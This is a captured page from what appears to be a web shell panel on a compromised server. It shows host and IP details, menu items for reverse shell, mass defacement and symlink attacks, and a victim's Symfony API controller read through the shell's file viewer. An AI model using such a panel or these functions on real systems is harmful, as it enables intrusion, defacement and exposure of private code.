ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: CompanyStandingController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use FOS\RestBundle\Controller\Annotations as Rest; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use Symfony\Component\HttpFoundation\Request; use Nelmio\ApiDocBundle\Annotation as Doc; use AppBundle\Entity\Company; use AppBundle\Entity\Standing; use AppBundle\Form\StandingType; class CompanyStandingController extends FOSRestController { /** * Get the list of all standings of a comany * @param integer $companyId The id of the company * @Rest\Get("/companies/{companyId}/standings") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST"} * ) * @Doc\ApiDoc( * section="Standings of a company", * resource=true, * description="Get the list of all standings of a company.", * ) */ public function listAction(Company $company) { //TODO $standings = $this ->getDoctrine() ->getRepository('AppBundle:Standing') ->findByCompany($company); return $standings; } /** * Get one standing of a comany * @param integer $companyId The id of the company * @param integer $stangingId The id of the standing * @Rest\Get("/companies/{companyId}/standings/{standingId}") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "STANDING_DETAILS"} * ) * * @Doc\ApiDoc( * section="Standings of a company", * resource=true, * description="Get one standing of a company.", * ) */ public function showAction(Company $company, Standing $standing) { if ($standing->getCompany() != $company) { return new JsonResponse(['error' => 'This standing does not belong to this company '], Response::HTTP_METHOD_NOT_ALLOWED); } return $standing; } /** * Create a stanging * @param integer $companyId The id of the company * @Rest\Post("/companies/{companyId}/standings") * @Rest\View( * statusCode = Response::HTTP_CREATED, * SerializerGroups = {"LIST", "STANDING_DETAILS"} * ) * @Doc\ApiDoc( * section="Standings of a company", * resource=true, * description="Create a standing.", * input = { * "class"="AppBundle\Form\StandingType", * } * ) */ public function createAction(Request $request, Company $company) { //TODO $standing = new Standing(); $form = $this->createForm(StandingType::class, $standing); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($standing); if (count($listErrors)) { return $this->view($listErrors, Response::HTTP_BAD_REQUEST); } $standing->setCompany($company); $em = $this ->getDoctrine() ->getManager(); $em->persist($standing); $em->flush(); return $standing; } /** * Update a standing * @param integer $companyId The id of the company * @Rest\Put("/companies/{companyId}/standings/{standingId}") * @Rest\View( * statusCode = Response::HTTP_ACCEPTED, * SerializerGroups = {"LIST", "STANDING_DETAILS"} * ) * @Doc\ApiDoc( * section="Standings of a company", * resource=true, * description="Update a standing.", * ) */ public function updateAction(Request $request, Standing $standing) { $form = $this->createForm(StandingType::class, $standing); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($standing); if (count($listErrors)) { return $this->view($listErrors, Response::HTTP_BAD_REQUEST); } $em = $this ->getDoctrine() ->getManager(); $em->flush(); return $standing; } /** * Delete(Deactivate) a standing * @param integer $companyId The id of the company * @Rest\Delete("/companies/{companyId}/standings/{standingsId}") * @Rest\View( * statusCode = Response::HTTP_NO_CONTENT *) * @Doc\ApiDoc( * section="Standings of a company", * resource=true, * description="Delete a stannding.", * ) */ public function deleteAction(Company $company, Standing $standing) { //processing submitted data if ($standing->getCompany() != $company) { return new JsonResponse(['error' => 'This standing does not belong to this company '], Response::HTTP_METHOD_NOT_ALLOWED); } $standing->setActive(false); // No more errors at this point $em = $this ->getDoctrine() ->getManager(); $em->flush(); return new JsonResponse(''); } }
Coded With 💗 by
0x6ick